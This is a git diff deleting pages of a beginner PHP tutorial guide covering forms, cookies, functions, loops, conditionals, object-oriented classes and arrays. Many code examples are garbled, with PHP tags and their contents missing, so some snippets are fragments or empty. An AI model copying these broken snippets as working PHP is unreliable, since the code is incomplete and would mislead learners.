"; -} -else{ - echo "The field is not set."."
"; -} -``` diff --git a/mock-guide/english/php/forms/handling-form-input/index.md b/mock-guide/english/php/forms/handling-form-input/index.md deleted file mode 100644 index eb4df62adb..0000000000 --- a/mock-guide/english/php/forms/handling-form-input/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Handling Form Input ---- -## Handling Form Input -GET VS POST - -One can get form inputs with global variables $_POST and $_GET. -``` -$_POST["firstname"] or $_GET['lastname'] -``` - - -This quick style guide will help ensure your pull request gets accepted. - - - -#### More Information: - diff --git a/mock-guide/english/php/forms/index.md b/mock-guide/english/php/forms/index.md deleted file mode 100644 index 8bd6eb76e2..0000000000 --- a/mock-guide/english/php/forms/index.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Forms ---- -## Forms - -Forms are a way for users to enter data or select data from the webpage. Forms can store data as well as allow the information to be retrieved for later use. - -#### More Information: - diff --git a/mock-guide/english/php/forms/validating-form-input/index.md b/mock-guide/english/php/forms/validating-form-input/index.md deleted file mode 100644 index f9268ace19..0000000000 --- a/mock-guide/english/php/forms/validating-form-input/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Validating Form Input ---- -## Validating Form Input - -This is a stub. Help our community expand it. - -This quick style guide will help ensure your pull request gets accepted. - - - -#### More Information: - diff --git a/mock-guide/english/php/functions/cookies/index.md b/mock-guide/english/php/functions/cookies/index.md deleted file mode 100644 index 8b1a7097ea..0000000000 --- a/mock-guide/english/php/functions/cookies/index.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Cookies ---- -## Cookies - -Definition: A cookie is a small file that the server embeds on the user's computer. Each time the same computer requests a page with a browser, it will send the cookie too. With PHP, you can both create and retrieve cookie values. The name of the cookie is automatically assigned to a variable of the same name. - - -#### More Information: - -- [PHP setcookie() Function](https://www.w3schools.com/php/func_http_setcookie.asp) diff --git a/mock-guide/english/php/functions/date/index.md b/mock-guide/english/php/functions/date/index.md deleted file mode 100644 index 977b927567..0000000000 --- a/mock-guide/english/php/functions/date/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Date ---- -## Date - -This is a stub. Help our community expand it. - -This quick style guide will help ensure your pull request gets accepted. - - - -#### More Information: - diff --git a/mock-guide/english/php/functions/die-and-exit/index.md b/mock-guide/english/php/functions/die-and-exit/index.md deleted file mode 100644 index bcbb080e04..0000000000 --- a/mock-guide/english/php/functions/die-and-exit/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Die and Exit ---- -## Die and Exit - -The `die()` and `exit()` functions are identical. They each take one argument (a string) containing an error message. Upon being run they output the message and immediately halt execution of the script. - -```PHP -php.net die() manual -* php.net exit() manual diff --git a/mock-guide/english/php/functions/echo-and-print/index.md b/mock-guide/english/php/functions/echo-and-print/index.md deleted file mode 100644 index 9bc3c0b301..0000000000 --- a/mock-guide/english/php/functions/echo-and-print/index.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Echo and Print ---- -## Echo and Print -The echo and print functions provide a way to write out the value of a variable or argument to the screen. - -### echo -The `echo()` function writes out the value of a variable or argument to the screen. -```PHP - -``` - -### print -The `print()` function out the value of a variable or argument to the screen. -```PHP -php.net echo() manual -* php.net print() manual -* php.net print_r() manual diff --git a/mock-guide/english/php/functions/files/file-reading/index.md b/mock-guide/english/php/functions/files/file-reading/index.md deleted file mode 100644 index f376e69d17..0000000000 --- a/mock-guide/english/php/functions/files/file-reading/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: File Reading ---- -## File Reading - -This is a stub. Help our community expand it. - -This quick style guide will help ensure your pull request gets accepted. - - - -#### More Information: - diff --git a/mock-guide/english/php/functions/files/file-uploading/index.md b/mock-guide/english/php/functions/files/file-uploading/index.md deleted file mode 100644 index c9d085d36f..0000000000 --- a/mock-guide/english/php/functions/files/file-uploading/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: File Uploading ---- -## File Uploading - -This is a stub. Help our community expand it. - -This quick style guide will help ensure your pull request gets accepted. - - - -#### More Information: - diff --git a/mock-guide/english/php/functions/files/index.md b/mock-guide/english/php/functions/files/index.md deleted file mode 100644 index 07c645c2ac..0000000000 --- a/mock-guide/english/php/functions/files/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Files ---- -## Files - -PHP provides several functions for working with files. These functions allow the developer to enable user file uploads, for php to read and use data from a file, and lastly for php to write data to a file. - -#### More Information: -* php.net readfile() manual -* php.net fopen() manual -* php.net fread() manual -* php.net fclose() manual -* php.net fgets() manual -* php.net feof() manual -* php.net fgetc() manual diff --git a/mock-guide/english/php/functions/index.md b/mock-guide/english/php/functions/index.md deleted file mode 100644 index 80a18ff7ee..0000000000 --- a/mock-guide/english/php/functions/index.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Functions ---- - -## PHP Functions Introduction - -A function is a block of statements that can be used repeatedly in a program. - -### Simple Function + Call - -```php -function say_hello() { - return "Hello!"; -} - -echo say_hello(); -``` - -### Simple Function + Parameter + Call - -```php -function say_hello($friend) { - return "Hello " . $friend . "!"; -} - -echo say_hello('Tommy'); -``` - -### strtoupper - Makes all Chars BIGGER AND BIGGER! - -```php -function makeItBIG($a_lot_of_names) { - foreach($a_lot_of_names as $the_simpsons) { - $BIG[] = strtoupper($the_simpsons); - } - return $BIG; -} - -$a_lot_of_names = ['Homer', 'Marge', 'Bart', 'Maggy', 'Lisa']; -var_dump(makeItBIG($a_lot_of_names)); -``` -## strtolower Function -The strtolower() function converts a string to lowercase. -``` - -``` - -#### More Information: - -* php.net user defined functions manual diff --git a/mock-guide/english/php/functions/time/index.md b/mock-guide/english/php/functions/time/index.md deleted file mode 100644 index 753c65211e..0000000000 --- a/mock-guide/english/php/functions/time/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Time ---- -## Time - -The `time()` function returns the current unix timestamp (number of seconds since the Unix Epoch - January 1 1970 00:00:00 GMT). - -### Example -```php -php.net time() manual diff --git a/mock-guide/english/php/hello-world/index.md b/mock-guide/english/php/hello-world/index.md deleted file mode 100644 index 0373e27cf8..0000000000 --- a/mock-guide/english/php/hello-world/index.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: PHP - Hello World ---- -## PHP - Hello World - -PHP scripts are executed on the server. - -Before you continue you should have a basic understanding of the following: - -### HTML -### CSS -### JavaScript -PHP files can contain Text, HTML, CSS, JavaScript, and PHP code. -A PHP script is executed on the server, and the plain HTML result is sent back to the browser. - -A PHP script starts with ``: -```php - -``` -or -you can also write A PHP script starts with ``: -```php - - - - - - - - -``` - -Note: You cannot simply open this file with your browser as you could with an html file. In order for this file to display properly in your browser, you must place it in an accessible folder on a server. A simple example: To do this in apache, you would be replacing the "index.html" file with this file and naming it "index.php" (You should check that php is enabled on your apache server). diff --git a/mock-guide/english/php/if-else-statement/index.md b/mock-guide/english/php/if-else-statement/index.md deleted file mode 100644 index e8a7f942fe..0000000000 --- a/mock-guide/english/php/if-else-statement/index.md +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: If-else Statement ---- -## Introduction -If/Else is a conditional statement where depending on the truthiness of a condition, different actions will be performed. - -> **Note:** The `{}` brackets are only needed if the condition has more than one action statement; however, it is best practice to include them regardless. - -## If Statement - -``` - **Note:** You can nest as many statements in an "if" block as you'd like; you are not limited to the amount in the examples. -## If/Else Statement - -``` - **Note:** The `else` statement is optional. -## If/Elseif/Else Statement - -``` - **Note:** `elseif` should always be written as one word. -## Nested If/Else Statement - -``` - **Note:** It's a good practice to wrap individual conditions in parens when you have more than one (it can improve readability). - -## Ternary Operators - -Another important option to consider when using short If/Else statements is the ternary operator. - -```php - $statement=(condition1 ? "condition1 is true" : "condition1 is false"); -``` - -## Alternative If/Else Syntax - -There is also an alternative syntax for control structures - -```php - if (condition1): - statement1; - else: - statement5; - endif; -``` - -#### More Information: -* PHP Alternative syntax for control structures -* php.net control structures If Manual -* php.net control structures Else If Manual \ No newline at end of file diff --git a/mock-guide/english/php/index.md b/mock-guide/english/php/index.md deleted file mode 100644 index 210e45bdfd..0000000000 --- a/mock-guide/english/php/index.md +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: PHP ---- - - - -## What is PHP? - -PHP is a server-side scripting language created in 1995 by Rasmus Lerdorf. - -PHP is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML. - -## What does the acronym PHP stand for? - -Originally PHP stood for 'Personal Home Page', as Rasmus Lerdorf created it for use on his own website. Then in 1997 more developers expanded the language and the -acronym also changed to what it stands for today: 'PHP: Hypertext Preprocessor'. As the first 'P' in PHP also stands for 'PHP', it is known as a 'recursive acronym'. - -## What is PHP used for? - -As of October 2018, PHP is used on [80% of websites whose server-side language is known](https://w3techs.com/technologies/overview/programming_language/all). -It is typically used on websites to generate web page content dynamically. Use-cases include: - -* Websites and web applications (server-side scripting) -* Command line scripting -* Desktop (GUI) applications - -Typically, it is used in the first form to generate web page content dynamically. For example, if you have a blog website, you might write some PHP scripts to retrieve -your blog posts from a database and display them. Other uses for PHP scripts include: - -* Processing and saving user input from form data -* Setting and working with website cookies -* Restricting access to certain pages of your website - -> The largest Social Networking Platform, [Facebook](https://www.facebook.com/) is written using PHP - - -## How does PHP work? - -All PHP code is executed on a web server only, not on your local computer. For example, if you complete a form on a website and submit it, or click a link to a web page written in PHP, no actual PHP code runs on your computer. Instead, the form data or request for the web page gets sent to a web server to be processed by the PHP scripts. The web server then sends the processed HTML back to you (which is where 'Hypertext Preprocessor' in the name comes from), and your web browser displays the results. For this reason, you cannot see the PHP code of a website, only the resulting HTML that the PHP scripts have produced. - -This is illustrated below: - - - -PHP is an interpreted language. This means that when you make changes to your source code you can immediately test these changes, without first needing to compile your source code into binary form. Skipping the compilation step makes the development process much faster. - -PHP code is enclosed between the ``` ``` tags and can then be embedded into HTML. - -## Installation - -PHP can be installed with or without a web server. - -### GNU/Linux - -On Debian based GNU/Linux distros, you can install by : -```bash -sudo apt install php -``` - -On Centos 6 or 7 you can install by : -```bash -sudo yum install php -``` - -After installing you can run any PHP files by simply doing this in terminal : -``` -php file.php -``` - -You can also install a localhost server to run PHP websites. For installing Apache Web Server : -``` -sudo apt install apache2 libapache2-mod-php -``` - -Or you can also install PHP, MySQL & Web-server all by installing - -XAMPP (free and open-source cross-platform web server solution stack package) -or similar packages like WAMP - - -## What Can PHP Do? - -* PHP can generate dynamic page content -* PHP can create, open, read, write, delete, and close files on the server -* PHP can collect form data -* PHP can send and receive cookies -* PHP can add, delete, modify data in your database -* PHP can be used to control user-access -* PHP can encrypt data -* PHP can send emails - -## Why PHP? - -* PHP runs on various platforms (Windows, Linux, Unix, Mac OS X, etc.) -* PHP is compatible with almost all servers used today (Apache, IIS, etc.) -* PHP supports a wide range of databases -* PHP is free. Download it from the official PHP resource: [secure.php.net](https://secure.php.net/) -* PHP is easy to learn and runs efficiently on the server side - -## PHP Frameworks - -Since writing the whole code for a website is not really practical/feasible for most projects, most developers tend to use frameworks for the web development. The advantage of using a framework is that - - * You don't have to reinvent the wheel everytime you create a project, a lot of the nuances are already taken care for you - * They are usually well-structured so that it helps in the separation of concerns - * Most frameworks tend the follow the best practices of the language - * A lot of them follow the MVC (Model-View-Controller) pattern so that it separates the presentation layer from logic - -## Popular frameworks - - * [CodeIgniter](https://codeigniter.com/) - * [Laravel](https://laravel.com/) - * [Symfony](https://symfony.com/) - * [Zend](http://www.zend.com/) - * [CakePHP](https://cakephp.org/) - * [FuelPHP](https://fuelphp.com/) - * [Slim](https://www.slimframework.com/) - * [Yii 2](https://www.yiiframework.com/) - -## Documentation - -PHP is [well documented](http://php.net/docs.php). The [official docs](http://php.net/manual/en/) include examples on almost every function reference guide, as well as user comments. - -## Other Resources - -- [Tizag.com PHP Tutorial](http://www.tizag.com/phpT/): still-relevant tutorials for getting started with PHP -- [Awesome PHP](https://github.com/ziadoz/awesome-php): a curated list of PHP libraries, resources, and "shiny things" -- [Laracasts.com](https://laracasts.com/): a membership website to learn web application development with PHP, comes with a free getting starting guide. -- [PHP: The Right Way](https://phptherightway.com/): An all-around quick reference book. diff --git a/mock-guide/english/php/loop/index.md b/mock-guide/english/php/loop/index.md deleted file mode 100644 index 9fef18370e..0000000000 --- a/mock-guide/english/php/loop/index.md +++ /dev/null @@ -1,174 +0,0 @@ ---- -title: Loops ---- - -# PHP Loops -When you need to repeat a task multiple times, you can use a loop instead of adding the same code over and over again. -PHP has the following loop statements : - -- for - loop through a block of code with specific number of times. -- while - loop through a block of code if condition is true. -- do...while - loop through a block of code one and continue loop if condition is true. -- foreach - loop through a block of code for each value within an array. - -Using a `break` within the loop can stop the loop execution. - -# For loop -Loop through a block of code with specific number of times. - -## Syntax -```php - -for (init counter; condition; counter increment or decrement) -{ - // Code to be executed -} - -``` - -## Example -```php - - - -``` - -## Output -``` -> Current loop counter 0. -> Current loop counter 1. -> Current loop counter 2. -> Current loop counter 3. -> Current loop counter 4. -``` - -# While loop -Loop through a block of code if condition is true. - -## Syntax -```php - -while (condition) -{ - // Code to be executed -} - -``` - -## Example -```php - -= 0) -{ - echo "The index is ".$index.".\n"; - $index--; -} -?> - -``` - -## Output -``` -> The index is 10. -> The index is 9. -> The index is 8. -> The index is 7. -> The index is 6. -> The index is 5. -> The index is 4. -> The index is 3. -> The index is 2. -> The index is 1. -> The index is 0. -``` - -# Do...While loop -Loop through a block of code once and continue to loop if the condition is true. - -## Syntax -```php - -do -{ - // Code to be executed -} -while (condition); - -``` - -## Example -```php - - 0); -?> - -``` - -## Output -``` -> Index: 3. -> Index: 2. -> Index: 1. -``` - -# Foreach loop -Loop through a block of code for each value within an array. - -## Syntax -```php -foreach ($array as $value) -{ - // Code to be executed -} - -``` - -## Example -```php - - - -``` - -## Output -``` -> Hi, my name is Ali. -> Hi, my name is Ah Kao. -> Hi, my name is Muthu. -> Hi, my name is Gwen. -> Hi, my name is Lucida. -> Hi, my name is Cecily. -> "Hello, Cecily!" -``` - -## For More Information: -http://php.net/manual/en/control-structures.for.php diff --git a/mock-guide/english/php/loops/for-loop/index.md b/mock-guide/english/php/loops/for-loop/index.md deleted file mode 100644 index f1d1a38d6e..0000000000 --- a/mock-guide/english/php/loops/for-loop/index.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: For Loop ---- - -## For Loop - -The PHP `for` statement consists of three expressions and a statement: - -`for ((initialization); (condition); (final-expression)) statement` - -### Description - -- initialization - - Run before the first execution on the loop. - - This expression is commonly used to create counters. - - Variables created here are scoped to the loop. Once the loop has finished it is execution they are destroyed. -- condition - - Expression that is checked prior to the execution of every iteration. - - If omitted this expression evaluates to `true`. -- final-expression - - Expression that is run after every iteration. - - Usually used to increment a counter. - - But it can be used to run any expression. -- statement - - Code to be repeated in every loop iteration. - -Any of these three expressions or the statement can be ommited. - -The expressions can contain multiple expressions separated by comma. - -In the (condition) expression, all the comma separated expressions will be evaluated. - -The result is obtained from the last one. - -For loops are commonly used to count a certain number of iterations to repeat a statement. - -### Common Pitfalls - -#### Exceeding the bounds of an array - -When indexing over an array many times it is easy to exceed the bounds of the array (ex. try to reference the 4th element of a 3 element array). - -```php -// This will cause an error. -// The bounds of the array will be exceeded. -$arr = array(1,2,3); - -for ($i = 0; $i <= count($arr); $i++) { - var_dump($arr[$i]); -} -``` - -This will output: - -```txt -int(1) int(2) int(3) NULL -``` - -There are to ways to fix this code. - -Set the condition to either `$i < count($arr)` or `$i <= count($arr) - 1`. - -#### Performance Issues - -The above code can became slow, because the array size is fetched in every iteration. - -In order to fix this problem it is possible to put the array size into a variable. - -```php -//create the $size variable with a second expression comma separated -for ($i = 0, $size = count($arr); $i < $size; ++$i) { -``` - -### More Information - -- PHP.net - Control Structures diff --git a/mock-guide/english/php/loops/index.md b/mock-guide/english/php/loops/index.md deleted file mode 100644 index 0b73bbfbf4..0000000000 --- a/mock-guide/english/php/loops/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Loops ---- - -## Loops - -Loops are used in PHP to perform repeated tasks based on a condition. - -Conditions typically return `true` or `false` when analysed. - -A loop will continue running until the defined condition returns `false`. - -You can type `php for` , `php while` or `php do while` to get more info on any of these. - - -## PHP Loops -Often when you write code, you want the same block of code to run over and over again in a row. Instead of adding several almost equal code-lines in a script, we can use loops to perform a task like this. - -In PHP, we have the following looping statements: - -while - loops through a block of code as long as the specified condition is true -do...while - loops through a block of code once, and then repeats the loop as long as the specified condition is true -for - loops through a block of code a specified number of times -foreach - loops through a block of code for each element in an array - - -### More Information - -- PHP.net - For Loops diff --git a/mock-guide/english/php/loops/while-loop/index.md b/mock-guide/english/php/loops/while-loop/index.md deleted file mode 100644 index 89e487715b..0000000000 --- a/mock-guide/english/php/loops/while-loop/index.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: While Loop ---- -## While Loop - -The `while loop` is one of the easiest type of loop in PHP. It executes the block of statements until the expression evaluates to **TRUE**. If the value of the expression changes at the time of execution, then the loop runs until the expression evaluates to **FALSE**.The Basic Form of While Loop is given below: - -```shell -while (expr) - statement -``` -The Statements inside the while loop can be enclosed within the curly braces or can be used based on the following syntax: - -```shell -while (expr): - statement - ... -endwhile; -``` -Illustrating the simple and alternate syntax of while loop using example: - -```php - -``` - -#### More Information - -[While loop - PHP Documentation](http://php.net/manual/en/control-structures.while.php) diff --git a/mock-guide/english/php/object-oriented-programming/index.md b/mock-guide/english/php/object-oriented-programming/index.md deleted file mode 100644 index 185df5d981..0000000000 --- a/mock-guide/english/php/object-oriented-programming/index.md +++ /dev/null @@ -1,375 +0,0 @@ ---- -title: Object Oriented Programming ---- -## Object Oriented Programming - -Object Oriented Programming, as the name suggests, is all about objects. You are basically trying to create a piece of software neatly organized in objects. This approach makes the code scalable with reusable components. - - -### MAN CLASS - -Let’s say you want to create a program about men in general. - - -Average men have all kinds of stuff in common like giving firm handshakes, being stubborn, not putting toilet paper rolls back, falling in love with the latest gadgets, etc. These could be described as behaviors or methods of Man object. - -Men also have their own distinct features like age, height, favorite sports, favorite drinks, etc. These could be described as properties or attributes of Man object. - -With these in mind, creating a Man class is not so difficult anymore. So, the program would go like this. - - -```php -name = "Jack"; -$jack->age = 30; -$jack->height = "6 feet"; -$jack->fav_sports = ["basketball", "soccer"]; -$jack->fav_drinks = ["coffee", "green tea"]; - -// Print out Jack's attributes and values -echo "Our man's name is: " . $jack->name . "\n"; -echo "He is " . $jack->age . " years old and " . $jack->height . " tall."; - -echo "His favorite sports are: "; -foreach ($jack->fav_sports as $sport) { - echo $sport . " "; -} - -echo "\nHis favorite drinks are: "; -foreach ($jack->fav_drinks as $drink) { - echo $drink . " "; -} - -// Print out Jack's behaviors common to all men (hint: defined in Man class) -echo "\nHe said these are some of his behaviors common to other men: "; -echo "\n\t" . $jack->giveFirmHandshakes(); -echo "\n\t" . $jack->beStubborn(); -echo "\n\t" . $jack->notPutToiletPaper(); - -``` - -Here you can see that a man named Jack was created with name of “Jack”, height of “6 feet”, favorite sports “basketball and soccer” and favorite drinks “coffee and green tea”. These attributes are called instance variables. - -Then he has the behaviors of all the men like giving firm hand shakes, being stubborn and not putting back toilet paper. All these behaviors are called instance methods. - - -### CONSTRUCTORS - -So far, we created a class called “Man” and an object called “Jack” by instantiating that class. We also gave Jack values for his attributes (name, height, favorite sports and drinks) and call his behaviors common to all men (giving firm handshakes, staying stubborn and not putting toilet papers back). - -Let’s take this idea one step further and get Jack to start introducing himself whenever we create Jack object without actually having to print them out individually like this: - - -```php -name . "\n"; -echo "He is " . $jack->age . " years old and " . $jack->height . " tall."; -``` - -This is where constructors come into play. Constructors are basically special methods that get called when an object is created. - -So, the idea is to print out Jack’s name, age and height when we create “Jack” object by instantiating Man class. In order to make this happen, we need to however specify the name, age and height when we create the object like this: - - -```php -property_name" - $this->name = $name; - $this->age = $age; - $this->height = $height; - - // Print out Jack's attributes and values - echo "Our man's name is: " . $this->name . "\n"; - echo "He is " . $this->age . " years old and " . $this->height . " tall."; -} -``` - -So, now whenever we instantiate Man class, we need to put 3 parameters and they will be printed out right away. - -```php -property_name" - $this->name = $name; - $this->age = $age; - $this->height = $height; - - // 2B. Print out Jack's attributes and values - echo "Our man's name is: " . $this->name . "\n"; - echo "He is " . $this->age . " years old and " . $this->height . " tall."; - } - - // 3. Create methods - public function giveFirmHandshakes() - { - return "I give firm handshakes."; - } - - public function beStubborn() - { - return "I am stubborn."; - } - - public function notPutToiletPaper() - { - return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; - } -} - -// 4. Create a Man object called "Jack" -// This will print out the echo statements inside "__construct" method inside the class -$jack = new Man('Jack', 30, '6 feet'); - -// 5. Set values to Jack's favorite sports and drinks -$jack->fav_sports = ["basketball", "soccer"]; -$jack->fav_drinks = ["coffee", "green tea"]; - -// Print out Jack's favorite sports and drinks -echo "His favorite sports are: "; -foreach ($jack->fav_sports as $sport) { - echo $sport . " "; -} - -echo "\nHis favorite drinks are: "; -foreach ($jack->fav_drinks as $drink) { - echo $drink . " "; -} - -// Print out Jack's behaviors common to all men -// (hint: defined in Man class) -echo "\nHe said these are some of his behaviors common to other men: "; -echo "\n\t" . $jack->giveFirmHandshakes(); -echo "\n\t" . $jack->beStubborn(); -echo "\n\t" . $jack->notPutToiletPaper(); -``` - -Now, we don’t have to set Jack’s name, age and height separately and print them anymore. Whenever we create Jack object, we just specify his properties as the parameters and they will get printed automatically by the help of the constructor. We can also put his favorite sports and drinks in the parameter if we want by - -specifying them as parameters while creating the object and -putting the echo lines inside the constructor. -You can visit here for more information on PHP implementation of constructors. Our OOP journey has been slow but steady. - - -### KEEPING A MAN’S SECRETS - - - -If you noticed all the class variables (name, age, height, fav_sports and fav_drinks) are declared as public inside Man class. Right now, after creating a Man object, we have access to all of his properties by simply calling them: - -```php -name; -echo $jack->height; -``` - -But what if we want to keep certain things secret about the man? Maybe he doesn’t want everyone to know his age … or … maybe he only wants certain people to know his favorite drinks. We can make this happen by changing the visibility of those properties from public to protected and even private. - -Public properties are accessible anywhere, both inside and outside the class. - -Protected properties are accessible inside the class and inside the children class(es). - -Private properties have the same visibility as protected except they cannot be accessed by the children class(es). - -We will talk about inheriting a class in a bit. For now, let’s try to set age protected and favorite_drinks private in Man class. - -```php -age; -// Fatal error: Cannot access protected property Man::$age - -print_r($jack->fav_drinks); -// Fatal error: Cannot access private property Man::$fav_drinks -``` - - -### SETTERS AND GETTERS - -Now that we have protected Jack’s age and favorite drinks, how do we exactly access them and update them? - -To get the protected or private properties, we need to create a getter method like this inside Man class (note that this is a class method with visibility of public). - - -```php -age; -} -``` - -Now we can easily get Jack’s age by calling this method: - -```php -getAge(); - -Jack just realized he turned 31 last week, how do we update his age? Can’t we just do this? - -```php -age = 31; -``` - -Since age property is protected, we cannot access it directly outside the class whether to read it or update it. You will get a fatal error. - -`Fatal error: Cannot access protected property Man::$age` - -In order to update a protected/private property, we need to create a setter method inside the class with public visibility. - -```php -age = $age; -} -``` - -Now we can easily update Jack’s age by just calling this setter method: - -```php -setAge(31); - -echo $jack->getAge(); -// 31 -``` - -We can also create setter and getter class methods for fav_drinks. Note that we have made the parameter for setFavDrinks optional. So, if you don’t pass an array to setFavDrinks, it will default to an empty array. - -```php -fav_drinks = $drinks; - } -} - -public function getFavDrinks() -{ - return $this->fav_drinks; -} -``` - -To set Jack’s fav_drinks: - -```php -setFavDrinks(["coffee", "green tea"]); -``` - -To get Jack’s fav_drinks: - -```php -getFavDrinks()); -// ["coffee","green tea"] -``` - -This way of implementing and using class methods to retrieve and update class properties is called encapsulation in Object Oriented Programming. We can also set visibility for class methods just like how we did it for class properties. diff --git a/mock-guide/english/php/operators/index.md b/mock-guide/english/php/operators/index.md deleted file mode 100644 index 23d37e48d2..0000000000 --- a/mock-guide/english/php/operators/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Operators ---- - -## Operators - - -PHP contains all the normal operators one would expect to find in a programming language. - -A single “=” is used as the assignment operator and a double “==” or triple “===” is used for comparison. - -The usual “<” and “>” can also be used for comparison and “+=” can be used to add a value and assign it at the same time. - -Most notable is the use of the “.” to concatenate strings and “.=” to append one string to the end of another. - -New to PHP 7.0.X is the Spaceship operator (<=>). -The spaceship operator returns -1, 0 or 1 when $a is less than, equal to, or greater than $b. - -```php - 1; // 0 -echo 1 <=> 2; // -1 -echo 2 <=> 1; // 1 - -``` diff --git a/mock-guide/english/php/php-array/index.md b/mock-guide/english/php/php-array/index.md deleted file mode 100644 index e5ebff828d..0000000000 --- a/mock-guide/english/php/php-array/index.md +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: Php Arrays ---- - -An array is a data structure that stores one or more similar type of values in a single value. For example, if you want to store 100 numbers then instead of defining 100 variables it's easier to define an array of length 100. - -There are three different kind of arrays and each array value is accessed using an ID which is called array index. - -Indexed array − An array with a numeric index. Values are stored and accessed in a linear fashion. - -Associative array − An array with strings as the index. This stores element values in association with key values rather than in a strict linear index order. - -Multidimensional array − An array containing one or more arrays and values are accessed using multiple indices. - -NOTE: Built-in array functions are given in the function reference PHP Array Functions section. - -### Indexed Arrays -These arrays can store numbers, strings and any object but their index will be represented by numbers. By default array index starts from zero. - -#### Example -Following is the example showing how to create and access indexed arrays. - -Here we have used the array() function to create an array. This function is explained in function reference. - -``` - - - - "; - } - - /* Second method to create an array. */ - $numbers[0] = "one"; - $numbers[1] = "two"; - $numbers[2] = "three"; - $numbers[3] = "four"; - $numbers[4] = "five"; - - foreach( $numbers as $value ) { - echo "Value is $value
"; - } - ?> - - - -``` - -This will produce the following result − - -``` -Value is 1 -Value is 2 -Value is 3 -Value is 4 -Value is 5 -Value is one -Value is two -Value is three -Value is four -Value is five -``` - -### Associative Arrays -The associative arrays are very similar to Indexed arrays in term of functionality but they are different in terms of their index. The elements in an associative array have their indices as strings so that you can establish a strong association between the keys and values. - -To store the salaries of employees in an array, a numerically indexed array would not be the best choice. Instead, we can use the employee's names as the keys in our associative array, and the value will be their respective salaries. - -NOTE: Don't keep an associative array inside double quotes while printing otherwise it will not return any value. - -#### Example - -``` - - - - 2000, "qadir" => 1000, "zara" => 500); - - echo "Salary of Mohammad is ". $salaries['mohammad'] . "
"; - echo "Salary of Qadir is ". $salaries['qadir']. "
"; - echo "Salary of Zara is ". $salaries['zara']. "
"; - - /* Second method to create an array. */ - $salaries['mohammad'] = "high"; - $salaries['qadir'] = "medium"; - $salaries['zara'] = "low"; - - echo "Salary of Mohammad is ". $salaries['mohammad'] . "
"; - echo "Salary of Qadir is ". $salaries['qadir']. "
"; - echo "Salary of Zara is ". $salaries['zara']. "
"; - ?> - - - -``` - -This will produce the following result − - -``` -Salary of Mohammad is 2000 -Salary of Qadir is 1000 -Salary of Zara is 500 -Salary of Mohammad is high -Salary of Qadir is medium -Salary of Zara is low -``` - -### Multidimensional Arrays -In a multi-dimensional array, each element in the main array can also be an array. And each element in the sub-array can be an array, and so on. Values in the multi-dimensional array are accessed using multiple indices. - -#### Example -In this example, we will create a two-dimensional array to store marks of three students in three subjects − - -This example is an associative array, you can create an indexed array in a similiar fashion. - -``` - - - - array ( - "physics" => 35, - "maths" => 30, - "chemistry" => 39 - ), - - "qadir" => array ( - "physics" => 30, - "maths" => 32, - "chemistry" => 29 - ), - - "zara" => array ( - "physics" => 31, - "maths" => 22, - "chemistry" => 39 - ) - ); - - /* Accessing multi-dimensional array values */ - echo "Marks for Mohammad in physics : " ; - echo $marks['mohammad']['physics'] . "
"; - - echo "Marks for Qadir in maths : "; - echo $marks['qadir']['maths'] . "
"; - - echo "Marks for Zara in chemistry : " ; - echo $marks['zara']['chemistry'] . "
"; - ?> - - - -``` - -This will produce the following result − - -``` -Marks for Mohammad in physics : 35 -Marks for Qadir in maths : 32 -Marks for Zara in chemistry : 39 -``` diff --git a/mock-guide/english/php/php-cookies/index.md b/mock-guide/english/php/php-cookies/index.md deleted file mode 100644 index 240ed220c3..0000000000 --- a/mock-guide/english/php/php-cookies/index.md +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: PHP Cookies ---- - -# PHP COOKIES - -## What is a Cookie? - -A cookie is often used to identify a user. It is a small file that the server embeds on the user's computer. -Each time the same computer requests a page with a browser, it will send the cookie too. -Cookies were designed to be a reliable mechanism to remember stateful information or to record the user's browsing activity. -They can also be used to remember arbitrary pieces of information that the user previously entered into form fields such as names, addresses, passwords, etc. - -## Creating Cookies with PHP - -With PHP, you can both create and retrieve cookie values. -A cookie is created with the setcookie() function. - -`setcookie(name, value, expire, path, domain, secure, httponly);` - -Only the _name_ parameter is a required parameter. All other parameters are optional. - - -## PHP Create/Retrieve a Cookie - -The following example creates a cookie named "user" with the value "John Doe". -The cookie will expire after 30 days (86400 * 30). -The "/" means that the cookie is available in entire website (else, you can select the directory you prefer). -We then retrieve the value of the cookie "user" (using the global variable $_COOKIE). -We also use the isset() function to find out if the cookie is set: - -**Example:** -``` - - - - -"; - echo "Value is: " . $_COOKIE[$cookie_name]; -} -?> - - -``` - -**Note:** The setcookie() function must appear **BEFORE** the tag. - - -Output: -Cookie 'user' is set! -Value is: John Doe - - -## PHP Modify a Cookie Value - -To modify a cookie, just set the value again using the setcookie() function: - -**Example:** -``` - - - - -"; - echo "Value is: " . $_COOKIE[$cookie_name]; -} -?> - - - -``` - -Output: -Cookie 'user' is set! -Value is: Alex Porter - - -## PHP Delete a Cookie - -To delete a cookie, use the setcookie() function with an expiration date in the past: - -**Example:** -``` - - - - - - - - -``` - -Output: -Cookie 'user' is deleted. diff --git a/mock-guide/english/php/php-data-types/index.md b/mock-guide/english/php/php-data-types/index.md deleted file mode 100644 index ed4cf2d54a..0000000000 --- a/mock-guide/english/php/php-data-types/index.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: PHP Data Types ---- - -## PHP Data Types - -Variables can store data of different types such as: -* 